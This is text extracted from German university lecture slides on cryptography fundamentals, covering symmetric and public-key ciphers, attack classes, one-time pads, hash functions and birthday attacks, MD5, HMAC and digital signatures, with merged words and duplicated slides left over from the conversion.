Es gibt sowohl Verfahren, die ein- und denselben Schlüssel fürVer- und Entschlüsselung nutzen, als auch Verfahren, dieverschiedene Schlüssel erfordern.

→ Sicherheit der Verfahren hängt maßgeblich von Schlüsselnab.

30 / 57

Zwei Kategorien von Verschlüsselungsverfahren

Kryptografische Algorithmen mit Schlüsseln:1. symmetrische Verfahren

I Chiffrier- und Dechriffrierschlüssel meist identischI aka secret key, single keyI Schlüssel muss zwischen Sender und Empfänger

vereinbart werdenI Schlüssel muss unbedingt geheim bleiben!I blockbasierte vs. strombasierte Verfahren

2. asymmetrische VerfahrenI 2 verschiedene SchlüsselI Chiffrierschlüssel ist öffentlich (public key)I Dechiffrierschlüssel ist geheim (private key)I jeder kann eine Nachricht verschlüsselnI nur der Besitzer des Dechiffrierschlüssels kann diese

entschlüsseln

Ein Kryptosystem ist ein Verschlüsselungsalgorithmus sowiealle möglichen Klartexte, Chiffren und Schlüssel.

31 / 57

Kerckhoffs’sches Prinzip

Anforderungen an ein sicheres Kryptosystem:I Das System muss im Wesentlichen, am besten

mathematisch, unentschlüsselbar sein.I Das System darf keine Geheimhaltung erfordern und kann

durch den Gegner gestohlen werden.I Es muss leicht übermittelbar sein und man muss sich die

Schlüssel ohne schriftliche Aufzeichnung merken können,Schlüssel müssen leicht austauschbar sein.

I Das System sollte mit telegraphischer Kommunikationkompatibel sein.

I Das System muss transportabel sein und die Bedienungdarf nicht mehr als eine Person erfordern.

I Das System muss einfach anwendbar sein [. . . ].(Auguste Kerckhoffs: La Cryptographie Militaire. In: Journal desSciences Militaires, Januar 1883, S. 12)

32 / 57

Blockbasierte vs. strombasierte Verfahren

blockbasiert:1. Klartext wird in Blöcke gleicher Länge strukturiert2. ggf. werden Nullbytes aufgefüllt (Padding)3. Ver- und Entschlüsselung erfolgen blockweise4. typische Längen: 64 Bit (DES), 128 Bit (AES), 1024 (RSA)5. meiste moderne Verfahren

strombasiert:I Strom von Bits, Bytes oder ZeichenI Ver- und Entschlüsselung erfolgt bit-, byte- oder

zeichenweiseI Vigenère-Verfahren, XOR-Verschlüsselung, RC4, A5/1

(GSM)I Vorteil: es muss nicht auf Komplettierung des ersten

Blockes gewartet werden (niedrige Latenz)

33 / 57

Beschränkte Algorithmen

I nicht publiziert (geheimgehalten)I breiter wissenschaftlichen Diskussion entzogen (kein Peer

Review)I beziehen ihre „Sicherheit“ aus der Geheimhaltung des

AlgorithmusI ein Algorithmus kann immer aus dem Binärabbild

disassembliert werdenI aka Security By ObscurityI → häufig inhärent unsicher (viele Beispiele)

„Die besten Algorithmen sind diejenigen, dieveröffentlicht, jahrelang von den weltbestenKryptographen angegriffen und bislang nicht geknacktwurden“

Beispiel: RC4, Stromchiffre, die 7 Jahre lang geheim war, bis1994 jemand anonym den Quelltext publizierte

34 / 57

Kryptanalyse

Voraussetzungen:I Gegner hat vollständigen Zugang zur verschlüsselten

NachrichtI Kryptografischer Algorithmus ist bekannt.

Ziel: Ermittlung des Klartextes ohne Kenntnis des Schlüssels(oder Ermittlung des Schlüssels).

Algorithmen, deren Sicherheit von ihrer Geheimhaltungabhängen, sind beschränkt und sollten nicht eingesetzt werden.

Versuch der Kryptanalyse wird Angriff genannt.

35 / 57

10

1. Ciphertext-only-Angriff

Gegeben:I Menge von chiffrierten NachrichtenI C1 = Ek (P1),C2 = Ek (P2), . . . ,Ci = Ek (Pi)

I nichts weiterGesucht:I P1,P2, . . . ,Pi und kI oder ein Algorithmus, um Pi+1 aus Ci+1 = Ek (Pi+1)

abzuleiten

36 / 57

2. Known-plaintext-Angriff

Gegeben:I Menge von chiffrierten Nachrichten sowie die

dazugehörigen KlartexteI P1,C1 = Ek (P1),P2,C2 = Ek (P2), . . . ,Pi ,Ci = Ek (Pi)

Gesucht:I kI oder ein Algorithmus, um Pi+1 aus Ci+1 = Ek (Pi+1)

abzuleiten

37 / 57

3. Chosen-plaintext-Angriff

Gegeben:I P1,C1 = Ek (P1),P2,C2 = Ek (P2), . . . ,Pi ,Ci = Ek (Pi)

I P1,P2, . . . ,Pi kann durch den Analytiker vorgegebenwerden

Gesucht:I kI oder ein Algorithmus, um Pi+1 aus Ci+1 = Ek (Pi+1)

abzuleitenKann der Analytiker, den zu verschlüsselnden Klartext inAbhängigkeit vorangehender Verschlüsselungen variieren, sospricht man von Adaptive-chosen-plaintext-Angriff

38 / 57

4. Gummischlauch-Kryptanalyse

Der Analytiker bedroht, erpresst oder quält denSchlüsselbesitzer solange, bis dieser den Schlüssel verrät.

“a process for key discovery that he describes as ‘cantake a surprisingly short time and is quitecomputationally inexpensive’.” (Quelle:http://groups.google.com/...)

→ so „gewonnene“ Erkenntnisse sind zumindest inDeutschland nicht gerichtsverwertbar („Früchte des vergiftetenBaumes“).

39 / 57

Schlechte Verschlüsselung: XOR-Verschlüsselung

I symmetrisches VerfahrenI Klartext wird zeichenweise mit Schlüssel „ex-oder-iert“,

also C = P ⊕ K

x y x ⊕ y

0 0 0

1 0 1

0 1 1

1 1 0

Tabelle: Wahrheitstabelle der Exclusive-Or-Funktion (XOR, x ⊕ y )

I Schlüssel wird immer wieder von vorn gelesenI schnell, aber (sehr) unsicher

40 / 57

XOR-Verschlüsselung, cont’d

I Entschlüsselung mit gleichem Schlüssel, da

a⊕ k ⊕ k = a⊕ 0 = a.

Problem: Known-Plaintext-Angriff

Bewertung:

„An XOR might keep your kid sister from reading yourfiles, but it won’t stop a cryptanalyst for more than afew minutes.“ (Bruce Schneier: Applied Cryptography)

41 / 57

11

Eine nützliche Eigenschaft von XOR

Satz: Es sei A eine (beliebig verteilte) Zufallsvariable1 über{0,1}n und X eine gleichverteilte Zufallsvariable über {0,1}n.Dann ist Y = A⊕ X stets eine gleichverteilte Zufallsvariableüber {0,1}n.

Beweisidee: Auftrittswahrscheinlichkeiten der Werte für A undX bei n=1:

A Pr(A)0 p01 p1

X Pr(X)0 0.51 0.5

, da gleichverteilt

Auftrittswahrscheinlichkeit der Werte für Y:Y Pr(Y)0 po · 0.5 + p1 · 0.5 = 0.5(p0 + p1) = 0.51 0.5

1{0, 1}n sei eine n Bit lange Binärzahl.42 / 57

Perfekte Verschlüsselung: One-Time-Padsaka Einmalblöcke

Eigenschaften:I Schlüssel besteht aus zufälligen Zeichen und hat gleiche

Länge wie KlartextI Schlüssel darf nur ein einziges Mal genutzt werdenI Verschlüsselung: jedes Zeichen des Klartextes wird mit

dem zugehörigen Zeichen des Schlüssels XOR-verknüpftI Entschlüsselung: wie Verschlüsselung (gleicher Schlüssel)I → symmetrisches VerfahrenI Jedes Zeichen des Schlüssels darf nur ein einziges Mal

genutzt werdenWerden diese Eigenschaften zugesichert, so ist eineKryptanalyse des Chiffrats unmöglich.

43 / 57

Angriffe auf One-Time-Pads

I Abfangen des SchlüsselsI Schlüssel nicht zufällig (z. B. pseudozufällig,

d. h. computergeneriert)I Mehrfachverwendung des Schlüssels

Literatur:http://www.ranum.com/security/computer_security/papers/otp-faq/

44 / 57

Kryptografische Protokolle

Begriff des Protokolls:

I beschreibt den dynamischen Aspekt einer Relationkommunizierender Komponenten

I beschreibt also den Ablauf der KommunikationI umgangssprachlich: eine Menge von

„Wenn-Dann“-Beziehungen („Wenn Alice einen Schlüsselschickt, dann verschlüsselt Bob damit irgendwas. . . “)

I muss allen Teilnehmern bekannt seinI darf keine Mehrdeutigkeiten enthaltenI erfordert (mindestens) zwei Teilnehmer

Der statische Aspekt der Relation wird durch die Schnittstellebeschrieben.

45 / 57

Beispiel eines ProtokollsKommunikation eines Kunden mit dem Clerk bei McDonald’s

t

"Hi."

"Hi."

"A Burger."

"Anything else?"

"No"

"Drink?"

"Large Coke."

"Takeaway?"

"No."

{"Hi", "Hello"}

Clerk Customer

{"Burger", "Fries",

"Chicken"}

{"Yes", "No"}

{"Coke", "Fanta", "Sprite"}

{"small", "medium", "large"} x

{"Yes", "No"}

"$4.99"

pay

"Bye."

"Bye."

{"Bye", "Get lost!"}

time

"Whaddaya wanna?"

computation

46 / 57

Kryptografische ProtokolleBeteiligte Helfer

Anstatt schwerfälliger Begriffsungetüme verwendet man für dieKennzeichnung der Kommunikationsparteien in derKryptografie die folgenden Namen2:

Name Funktion

Alice Erste Teilnehmerin am Protokoll

Bob Zweiter Teilnehmer am Protokoll

Carol Dritte Teilnehmerin (wenn nötig)

Dave Vierter Teilnehmer (wenn nötig)

Eve Lauscherin (eavesdropper)

Mallory Bösartiger aktiver Angreifer (malicious)

Trent (vertrauenswürdiger) Treuhänder (trust)

2Egal, welches Krypto-Buch Sie aufschlagen47 / 57

12

Kommunikation bei symmetrischen VerfahrenPrinzipieller Ablauf

1. Alice und Bob einigen sich auf ein Kryptosystem.2. Alice und Bob vereinbaren einen Schlüssel K .3. Alice chiffriert Klartext M mittels Schlüssel K und dem

vereinbarten Algorithmus:

C = EK (M)

4. Alice sendet Chiffretext-Nachricht C an Bob.5. Bob dechiffriert Chiffretext mittels desselben Algorithmus

und Schlüssels und liest den Klartext:

M = DK (C) = DK (EK (M))

Analogie: Safe

48 / 57

Kommunikation bei symmetrischen VerfahrenStörungsmöglichkeiten

I Eve kann durch Belauschen von 2. den SchlüsselabfangenI kann danach alle Nachrichten von Alice an Bob mitlesen

I Mallory kann alles was Eve kann und zusätzlichI Nachrichten von Alice abfangen (diese erreichen Bob nie)I Nachrichten fälschen (indem er eigene Nachrichten mit

dem gestohlenen Schlüssel verschlüsselt und einspeist)

d. h., Sicherheit des Verfahrens hängt maßgeblich vonGeheimhaltung des Schlüssels ab

49 / 57

Kommunikation bei symmetrischen Verfahren(systemimmanente) Nachteile

I Verteilung unter Geheimhaltung des Schlüssels istaufwändig/teuer/riskant.

I kompromittierter Schlüssel erlaubt das Mitlesen undFälschen von Nachrichten

I da jeweils 2 Partner einen Schlüssel benötigen, wächst dienötige Schlüsselanzahl quadratisch mit der Teilnehmerzahl

Für n = 100 benötigt man

n(n − 1)2

= 4950 Schlüssel.

50 / 57

Kommunikation bei symmetrischen Verfahren(systemimmanente) Nachteile

I Verteilung unter Geheimhaltung des Schlüssels istaufwändig/teuer/riskant.

I kompromittierter Schlüssel erlaubt das Mitlesen undFälschen von Nachrichten

I da jeweils 2 Partner einen Schlüssel benötigen, wächst dienötige Schlüsselanzahl quadratisch mit der Teilnehmerzahl

Für n = 100 benötigt man

n(n − 1)2

= 4950 Schlüssel.

51 / 57

Kommunikation mit Public-Key-Kryptografie

I erfordert für jeden Teilnehmer genau zwei SchlüsselI einen öffentlichen zum VerschlüsselnI einen privaten zum Entschlüsseln

I privater Schlüssel kann nicht3 aus dem öffentlichenerrechnet werden

I jeder kann öffentlichen Schlüssel nutzen, um etwas zuverschlüsseln

I nur der Besitzer des privaten Schlüssels kann dieseswieder entschlüsseln

I Analogie: Briefkasten (am Haus)

3besser gesagt, nur sehr sehr schwer52 / 57

Kommunikation mit Public-Key-KryptografiePrinzipieller Ablauf

1. Alice und Bob einigen sich auf ein Kryptosystem mitöffentlichem Schlüssel.

2. Bob macht Alice seinen öffentlichen Schlüssel EKB4

zugänglich.3. Alice chiffriert ihre Nachricht mit EKB :

C = EKB(M).

4. Alice schickt C an Bob.5. Bob dechiffriert C mittels seines privaten Schlüssels DKB

M = DKB(C).

Das Problem der Schlüsselübermittlung ist gelöst!

4Der öffentliche Schlüssel kann nur zum Verschlüsseln verwendet werden, daher bezeichnen wir wir ihn mit E .53 / 57

13

Kommunikation mit Public-Key-Kryptografie(systemimmanente) Nachteile

I ca. um den Faktor 1000 langsamer als symmetrischeVerfahren

I durch chosen-plaintext-Angriffe gefährdet, wenn Anzahlmöglicher Nachrichten geringI da öffentlicher Schlüssel bekannt, kann man

„durchprobieren“ und zu einem Chiffrat den zugehörigenKlartext ermitteln

I funktioniert bei symm. Verfahren nicht, da Schlüssel demAngreifer unbekannt

→ Kombination symmetrischer und asymmetrischer Verfahren(aka hybride Kryptosysteme)

54 / 57

Hybride KryptosystemePrinzipieller Ablauf

1. Bob übermittelt Alice seinen öffentlichen Schlüssel EKB .2. Alice generiert einen zufälligen Sitzungsschlüssel K und

chiffriert ihn mit EKB .

C = EKB(K )

3. Alice übermittelt C an Bob.4. Bob entschlüsselt die Nachricht C mit seinem privaten

Schlüssel und erhält den Sitzungsschlüssel.

K = DKB(C)

5. Beide verschlüsseln ihre Kommunikation nun symmetrischmit K , dem Sitzungsschlüssel.

55 / 57

Hybride KryptosystemeFazit

I Public-Key-Kryptografie dient hier zum sicherenSchlüsseltransport

I Schlüsselverwaltungsproblem also auch gelöstI Kommunikation trotzdem effizient, da symmetrisch

verschlüsseltI Flexibilisierung: Schlüssel kann jederzeit aufwandsarm

ersetzt werden (z. B. bei Kompromittierung)I Angriffsmöglichkeit: bei der initialen Übermittlung der

öffentlichen Schlüssel

56 / 57

Zusammenfassung: Was haben wir gelernt?

1. historische Verfahren (Transpositions- vs.Substitionschiffren)

2. Vigenère-Verschlüsselung, Einsatz und Kryptanalyse3. Kerckhoffs’sches Prinzip eines ‘guten’ Kryptosystems4. 4 Typen Angriffe auf Kryptosysteme5. symmetrische vs. asymmetrische Kryptografie6. Perfekte Verschlüsselung mit One-Time-Pads7. Wer sind Alice und Bob?

57 / 57

Vorlesung InformationssicherheitThema 3: Grundlagen der Kryptographie II

Robert Baumgartl

18. Juli 2018

1 / 108

Einwegfunktionen

. . . sind ein wichtiger Baustein kryptografischer Verfahren

I Bestimmung von f (x) aus x leicht (vorwärts)I Bestimmung von x aus gegebenem f (x) extrem schwer,

d. h. nur mit allen zur Verfügung stehenden Rechnern derWelt in hunderten von Jahren

Beispiele:I Suche einer Telefonnummer zu gegebenem Namen im

Telefonbuch ist einfachI Suche eines Namens zu gegebener Telefonnummer im

Telefonbuch ist schwierigI Multiplikation zweier (großer) Primzahlen ist einfachI Zerlegung des Produktes in zwei Primzahlfaktoren ist

extrem aufwändig (→ Faktorisierungsverfahren)

10 / 108

14

Einwegfunktionen, contd.

Es gibtI keinen Beweis für die Existenz von undI keine systematischen Konstruktionsverfahren für

Einwegfunktionen.

Einwegfunktion mit Hintertür:I mit Kenntnis eines Zusatzschlüssels wird die Ermittlung

von x aus f (x) einfach.

11 / 108

Einweg-Hashfunktionen

. . . sind Einwegfunktionen, die zu gegebenen Daten variablerLänge einen Funktionswert konstanter, meist kurzer Länge (→„Fingerabdruck“, kryptografischer Hash, Message Digest)ermitteln.

I Hash H(m) zu gegebenen Daten m ist leicht zu ermitteln(effizient zu berechnen).

I Zu vorgegebenem Hash eine passende Eingabe zukonstruieren ist hingegen (extrem) schwer(m = H−1(H(m))).

I Änderung eines Bits in der Eingabe sollte im Mittel dieHälfte der Bits in der Ausgabe ändern.

Anwendung:I Integritätssicherung von DateienI Digitales SignierenI Authentifizierung

12 / 108

Kryptografische HashverfahrenBeispiele

Hashlänge BlockgrößeVerfahren Jahr gebrochen? [Bit] [Bit]

MD2 1988 X3 128 128MD4 1990 X 128 512MD5 1991 X4 128 512

SHA-1 1995 X5 160 512SHA-256 2004 - 256 512SHA-512 2004 - 512 1024

SHA-3 2012 - 226-512 576-1152

Es ist ebenfalls möglich, Blockchiffren als kryptografische Hasheseinzusetzen.

3Knudsen, Mathiassen: Preimage and Collision Attacks on MD2, 20054 Praktikumsaufgabe5Stevens, Karpman, Peyrin: Freestart Collision for full SHA-1, 2015

13 / 108

Angriffe gegen HashfunktionenKollisionen

I Kollision: Für zwei Nachrichten m1 und m2 wird ein- undderselbe Hash erzeugt, also H(m1) = H(m2)

I in der Softwaretechnik z. B. durch Überlauflistenbehandelt, unkritisch

I bei kryptografischen Hashes gefährlich; erste Stufe zum„Brechen“ des Hashverfahrens

I Kollisionsfreiheit ist unmöglich (unendlich vieleverschiedene Nachrichten werden auf 2Hashlänge

verschiedene Hashwerte abgebildet)I stattdessen: Kollisionsresistenz gefordert

14 / 108

Angriffe gegen HashfunktionenKollisionsresistenz

Schwache KollisionsresistenzI Zu einer Nachricht m und deren gegebenen Hashwert

H(m) ist es praktisch unmöglich, eine zweite Nachricht m′

zu finden, die den gleichen Hashwert H(m′) = H(m) hat.Starke KollisionsresistenzI Es ist praktisch unmöglich, zwei Nachrichten m und m′ zu

finden, die den gleichen Hashwert H(m) = H(m′)aufweisen.

15 / 108

Angriffe gegen HashfunktionenBrute-Force-Angriff gegen schwache Kollisionsresistenz

gegeben: Nachricht m mit Hashwert H(m)

gesucht: Nachricht m′ mit H(m′) = H(m)

1: START2: zufällige Generierung m′

3: Ermittlung H(m′)4: if H(m′) = H(m) then5: STOP {Kollision gefunden}6: else7: GOTO 28: end if

I bei einer Hashlänge von n Bit ist die Wkt. einer Kollisionbei jeder Iteration 2−n im Mittel 2n Iterationen bis zurKollision nötig

16 / 108

15

Angriffe gegen HashfunktionenBrute-Force-Angriff gegen schwache Kollisionsresistenz

Start

zufällige Auswahl m′

Berechnung H(m′)

H(m′) =H(m) ?

Kollision gefunden

Stop

yes

17 / 108

Angriffe gegen HashfunktionenGeburtstagsangriff

Geburtstagsparadoxon:

Wie viele Personen müssen sich in einem Raum befinden,damit die Wahrscheinlichkeit, dass jemand mit mir amgleichen Tag Geburtstag6 hat größer ist als 50%?

I p = 1−(

364365

)n

p253 ≈ 0.5005 n = 253

Wieviele Personen müssen sich in einem Raum befinden,damit die Wkt., dass zwei von Ihnen am gleichen TagGeburtstag haben, größer ist als 50%?

I n = 23

6am 6. September18 / 108

Angriffe gegen HashfunktionenGeburtstagsangriff

Geburtstagsparadoxon:

Wie viele Personen müssen sich in einem Raum befinden,damit die Wahrscheinlichkeit, dass jemand mit mir amgleichen Tag Geburtstag6 hat größer ist als 50%?

I p = 1−(

364365

)n

p253 ≈ 0.5005 n = 253

Wieviele Personen müssen sich in einem Raum befinden,damit die Wkt., dass zwei von Ihnen am gleichen TagGeburtstag haben, größer ist als 50%?

I n = 23

6am 6. September19 / 108

Angriffe gegen HashfunktionenGeburtstagsangriff

Geburtstagsparadoxon:

Wie viele Personen müssen sich in einem Raum befinden,damit die Wahrscheinlichkeit, dass jemand mit mir amgleichen Tag Geburtstag6 hat größer ist als 50%?

I p = 1−(

364365

)n

p253 ≈ 0.5005 n = 253

Wieviele Personen müssen sich in einem Raum befinden,damit die Wkt., dass zwei von Ihnen am gleichen TagGeburtstag haben, größer ist als 50%?

I n = 23

6am 6. September20 / 108

GeburtstagsparadoxonBeweisskizze

I Wkt., dass man an einem bestimmten Tag im JahrGeburtstag hat: 1

365I Wkt., dass man an einem bestimmten Tag im Jahr nicht

Geburtstag hat: 364365

I Wkt., dass man an zwei bestimmten Tagen im Jahr nichtGeburtstag hat: 363

365

Voraussetzung: Geburtstage in der Gruppe sind unabhängigund gleichverteiltI Eine Gruppe von zwei Personen enthält mit

Wahrscheinlichkeit 364365 keine zwei Personen mit dem

gleichen Geburtstag, da die zweite Person genau aneinem Tag keinen Geburtstag haben kann.

21 / 108

GeburtstagsparadoxonBeweisskizze, Fortsetzung

I Eine Gruppe von drei Personen enthält mitWahrscheinlichkeit 364

365 · 363365 keine zwei Personen mit dem

gleichen Geburtstag, da die dritte Person (und nur diese)an zwei Tagen keinen Geburtstag haben darf.

I Eine Gruppe von n Personen enthält mit Wkt.364365 · 363

365 · . . . · 366−n365 keine 2 Personen gleichen

Geburtstags.I Eine Gruppe von n Personen enthält mit Wkt.

pn = 1− 364365 · 363

365 · . . . · 366−n365 2 Personen gleichen

Geburtstags.

p23 ≈ 0,5072

In einer Gruppe von (mindestens) 23 Personen ist dieWahrscheinlichkeit, dass 2 Personen am gleichen TagGeburtstag haben, größer als 50%.

22 / 108

16

Angriffe gegen HashfunktionenZurück zum Planet...Geburtstagsangriff

I Der Angreifer möchte zwei Nachrichten M und M ′ finden,so dass gilt: H(M) = H(M ′).

I Er kann dann M dem Kommunikationspartner zeigen, den(gemeinsamen) Hash H(M) signieren lassen und dann Mdurch M ′ ersetzen

Aus dem Geburtstagsparadoxon folgt:

I Es ist sehr schwer, zu einer gegebenen Nachricht mitHash einen zweiten Hash zu finden, der mit ihrem eigenenHashwert kollidiert.

I Es ist leichter, eine Kollision zu erzeugen, wenn beideNachricht variabel sind!

I Die Anzahl zu prüfender Hashes reduziert sich um dieWurzel!

23 / 108

GeburtstagsangriffBeispiel und Fazit

I Gegeben sei eine kryptografisch sichere Hashfunktion.I (hypothetische) Hashlänge 64 Bit (k = 64)I Brute-Force-Angriff eines gegebenen Hashes erfordert das

Prüfen von 264 Hashwerten (≈ 1.892 · 1019)I Rechner, der in der Sekunde 1.000.000 Hashes generiert,

benötigt dafür etwa 600.000 JahreI Ein Geburtstagsangriff auf diese Hashfunktion erfordert

das Prüfen von 2k/2 = 232 HashesI Obiger Rechner benötigt dafür etwa 71 Minuten7!

Fazit: Ist ein Geburtstagsangriff auf die Hashfunktion zuerwarten, so muss die Länge des generierten Hashes imVergleich zum ausschließlich drohenden Brute-Force-Angriffverdoppelt werden.

7Ein analoger Angriff auf SHA-1 benötigt 2.79 Urknallperioden (á 13.75 Mrd. Jahre)24 / 108

Hashing en Detail: MD5Idee: Kompression

I (mehrfache) Iteration einer sog. KompressionsfunktionI Eingabe: Daten fester LängeI Resultat: Daten fester Länge (kürzer als Eingabe)

I Beispiel: Kompression bei MD5: Eingabe H (128 Bit), B(512 Bit), Resultat 128 Bit

512 512 512

C C C C

... Pad

128 ...H0 H1

128128 128128Hn = h(M)

Init

Nachricht M

Abbildung: Merkle-Damgård-Verfahren

25 / 108

Merkle-Damgård-Schema

1. M wird aufgefüllt (Padding) mitI 1 Bit mit Wert 1,I variable Anzahl 0-Bits,I 64 Bit, in denen die Länge von M (in Bits) kodiert ist,

so dass die Länge der resultierenden Nachricht M ′ einVielfaches von 512 Bit beträgt

1 0 0 0 Länge (64 Bit)...Pad =

Abbildung: Padding im Merkle-Damgård-Verfahren

2. M ′ wird in 512 Bit lange Blöcke B1,B2, . . .Bn aufgeteilt3. H0 = IV (Initial Value)4. Hi = C(Hi−1,Bi) ∀i = 1, . . . ,n5. Hn = H(M), der gesuchte Hashwert von M.

26 / 108

Merkle-Damgård-Schema

Anmerkungen:I maximale Länge der Nachricht 264 Bit= 2 EiB (ExbiByte) =

2048 PiB (PebiByte)I lineare Komplexität des VerfahrensI die meisten kryptografischen Hashverfahren nutzen diese

Technik (unterscheiden sich in C)Satz (Merkle/Damgård, 1989): Wenn die KompressionsfunktionC keine Kollisionen verursacht, dann auch nicht das nachobigem Verfahren konstruierte Hashverfahren.

27 / 108

„Message Digest“ MD5

I Ronald Rivest, 1991I beschrieben im RFC 1321I nutzt das Merkle-Damgård-SchemaI sehr populär (Zertifikate, Integritätsprüfungen, . . . )I Linux: Kommando md5sum

I seit 2004 sind Kollisionen publiziert→ unsicher

Ablauf:I relativ komplexe KompressionsfunktionI für jeden der Blöcke Bi werden 4 Iterationen („Runden“)

ausgeführtI jede Runde besteht aus 16 Operationen

28 / 108

17

Eine Operation in MD5

+

+

+

+

A B C D

A B C D

16mal

(32 Bit)j-ter Teilblock von Bi

32 BitKonstante

«s

Hi , 128 Bit

Linksrotation

modulare Addition N

29 / 108

Nichtlineare Funktionen N

F (X ,Y ,Z ) = (X ∧ Y ) ∨ ((¬X ) ∧ Z )

G(X ,Y ,Z ) = (X ∧ Z ) ∨ (Y ∧ (¬Z ))

H(X ,Y ,Z ) = X ⊕ Y ⊕ ZI(X ,Y ,Z ) = Y ⊕ (X ∨ (¬Z ))

I in jeder Runde wird eine andere Funktion genutzt

30 / 108

Anwendung: Message Authentication Codes (MAC)

I = spezieller Hash, der von Eingabedaten und einemzusätzlichen geheimen Schlüssel abhängt

I somit nur für Besitzer des Schlüssels generier- bzw.prüfbar

I mittels Blockchiffre im CBC- oder CFB-Modus oder ausHashfunktion implementierbar

I Beispiel: HMAC (RFC 2104)→ TLS, IPsec

Zweck:I Sicherung der Integrität von NachrichtenI Authentisierung der NachrichtI Nichtabstreitbarkeit der Nachricht

31 / 108

Message Authentication Codes (MAC)Prinzip

1. Alice und Bob tauschen (geheimen) Schlüssel aus2. Alice generiert Nachricht, ermittelt MAC aus Nachricht und

Schlüssel3. Nachricht und MAC werden an Bob übertragen4. Bob berechnet MAC aus Nachricht und Schlüssel5. Stimmen errechnete und übertragene MAC überein, ist die

Nachricht authentisch und muss von Alice stammen, danur diese den Schlüssel besitzt.

32 / 108

Message Authentication Codes (MAC)Realisierung mittels Hashfunktion

I Secret Prefix MAC: MACk (x) = h(k ‖ x)I gefährlich, weil MAC einer verlängerten Nachricht x aus

MACk (x) ohne Kenntnis von k ermittelt werden kann:I h(k‖x1x2 . . . xn+1) = h (h(k ||x1x2 . . . xn)||xn+1)

I Secret Suffix MAC: MACk (x) = h(x ‖ k)I gefährlich, wenn Mallory Kollisionen erzeugen kann, d. h. ,

h(x) = h(y) mit x 6= yI damit:

MACk (x) = h(x ‖ k) = h(y ‖ k) = MACk (y)

I Mallory könnte x durch y ersetzen

I HMACk (x) = h [(k+ ⊕ opad) ‖ h[(k+ ⊕ ipad) ‖ x ]]I zweifaches Hashen beseitigt NachteileI trotzdem effizient, da Nachricht x nur einmal gehashtI bewiesen sicheres Verfahren

33 / 108

HMAC (RFC2104)Struktur, grafisch

324 12 Message Authentication Codes (MACs)

i.e., an attacker cannot do better than brute-forcing the entire key space to forge amessage. However, if an attacker exploits the birthday paradox (cf. Section 11.2.3),he can forge a signature with about

√2160 = 280 computations. There are indications

that SHA-1 collisions can be constructed with even fewer steps, so that an actualattack might be even easier. In summary, we conclude that the secret suffix methodalso does not provide the security one would like to have from a MAC construction.

HMAC

A hash-based message authentication code which does not show the security weak-ness described above is the HMAC construction proposed by Mihir Bellare, RanCanetti and Hugo Krawczyk in 1996. The scheme consists of an inner and outerhash and is visualized in Figure 12.2.

Fig. 12.2 HMAC construction

The MAC computation starts with expanding the symmetric key k with zeros onthe left such that the result k+ is b bits in length, where b is the input block width ofthe hash function. The expanded key is XORed with the inner pad, which consistsof the repetition of the bit pattern:

(Abb.: Christof Paar und Jan Pelzl. Understanding Cryptography. Springer, 2010,S. 324)

34 / 108

18

Anwendungsbeispiel: Hashcash

Idee:I zur Autorisierung soll ein Nutzer ‘etwas’ Rechenzeit

aufwenden und diesen Aufwand nachweisenI Nutzung Hashfunktion; Ergebnis muss bestimmte

Merkmale aufweisenI Beispiel: „Generiere einen SHA1-Hash über einem

zufällligen Datum, dessen erste 20 Bits alle den Wert Nullhaben!“→ es müssen ca. 220 Hashes ermittelt werden

Anwendung:I Abwehr von SpamI Mining-Funktion in Cryptowährungen (z. B. Bitcoin)

35 / 108

Signaturen (Unterschriften)

. . . dienen dem Beweis der Echtheit, der Urheberschaft oderdem Einverständnis mit dem Inhalt eines Dokumentes.

Eigenschaften:I authentisch - überzeugt den Empfänger, dass der

Unterzeichner willentlich unterschrieben hatI fälschungssicher - beweist, dass der Unterzeichner (und

kein anderer) das Dokument unterzeichneteI nicht wiederverwendbar - kann in kein anderes Dokument

„übertragen“ werdenI Unterschriebenes Dokument kann nicht mehr verändert

werden.I nicht rücknehmbar - Unterzeichner kann Unterschrift nicht

leugnen.

36 / 108

Digitale Signaturen

Verschlüsselung von Dokumenten weist viele dieserAnforderungen auf→ Nutzung kryptografischer Techniken zurSignierung digitaler Dokumente

Verschiedene Verfahren:I symmetrische Verschlüsselung und VermittlungI mittels Public-Key-KryptographieI mittels Public-Key-Kryptographie und Einweg-Hashfunktion

37 / 108

Signieren mit symmetrischen Kryptosystemen undVermittler

Voraussetzungen:I Vermittler (Trent), dem vertraut wirdI Schlüssel KA für Komm. Alice↔ Trent und KB für Bob↔

TrentProtokoll:

1. Alice verschlüsselt M an Bob mit KA und schickt sie anTrent.

2. Trent entschlüsselt M mittels KA.3. Trent verschlüsselt M zusammen mit einer Nachricht, dass

M von Alice stammt, mit KB

4. Trent sendet C = KB(M) an Bob.5. Bob entschlüsselt C mit KB. Er kann M lesen und ist

sicher, dass diese von Alice stammt.

38 / 108

Signieren mit Public-Key-Kryptographie

1. Alice verschlüsselt M mit ihrem privaten (!) Schlüssel DKA

(unterzeichnet): C = DKA(M)

2. Alice schickt Chiffrat C an Bob3. Bob entschlüsselt C mit Alice’ öffentlichen Schlüssel EKA ,

was die Echtheit von M beweist

Vorteil im Vergleich zum symmetrischen Verfahren:I kein Vermittler erforderlichI auch nicht im Streitfall

Probleme:I Sicherung der Authentizität des öffentlichen Schlüssels

von Alice EKA

I Zeitbedarf bei langen Dokumenten

39 / 108

Signieren mit Public-Key-Kryptographie undEinweg-Hashfunktion

Idee: Signierung eines Einweg-Hashes über das Dokumentanstatt des Dokumentes selbst (→ effizient).Protokoll:

1. Alice berechnet den Einweg-Hash W1 zumentsprechenden Dokument M: W1 = H(M).

2. Alice verschlüsselt W1 mit ihrem privaten Schlüssel DKA :C = DKA(W1) = DKA(H(M)) (Signatur).

3. Alice sendet C und M an Bob.4. Bob ermittelt den Einweg-Hash W2 zum empfangenen

Dokument M.5. Bob entschlüsselt W1 = EKA(C) mit Alice’ öffentlichem

Schlüssel6. Bob prüft, ob W1 = W2 gilt. Wenn ja, dann ist die

Unterschrift von Alice unter M gültig.40 / 108

19

Vorteile des Signierens mit Public-Key-Kryptographieund Einweg-Hashfunktion

1. großer Geschwindigkeitsgewinn bei gleicher Sicherheit(Voraussetzung: sichere Hashfunktion)

2. Unterschrift und Dokument können getrennt gespeichertwerden.

3. Möglichkeit, das Dokument selbst (noch) geheim zuhalten; Offenlegung erst bei Prüfung der Unterschrift nötig→ urheberrechtliches Schützen

41 / 108

Nutzung von Zeitstempeln

I Wenn signiertes Dokument nur einmal genutzt werden darf(Scheck, Gutschein, . . . ) muss Mehrfachverwendungunterbunden werden

I Lösung: Datum und Zeit der Unterschrift an Dokumentanhängen, gemeinsam unterschreiben

42 / 108

Nutzung von Zeitstempeln

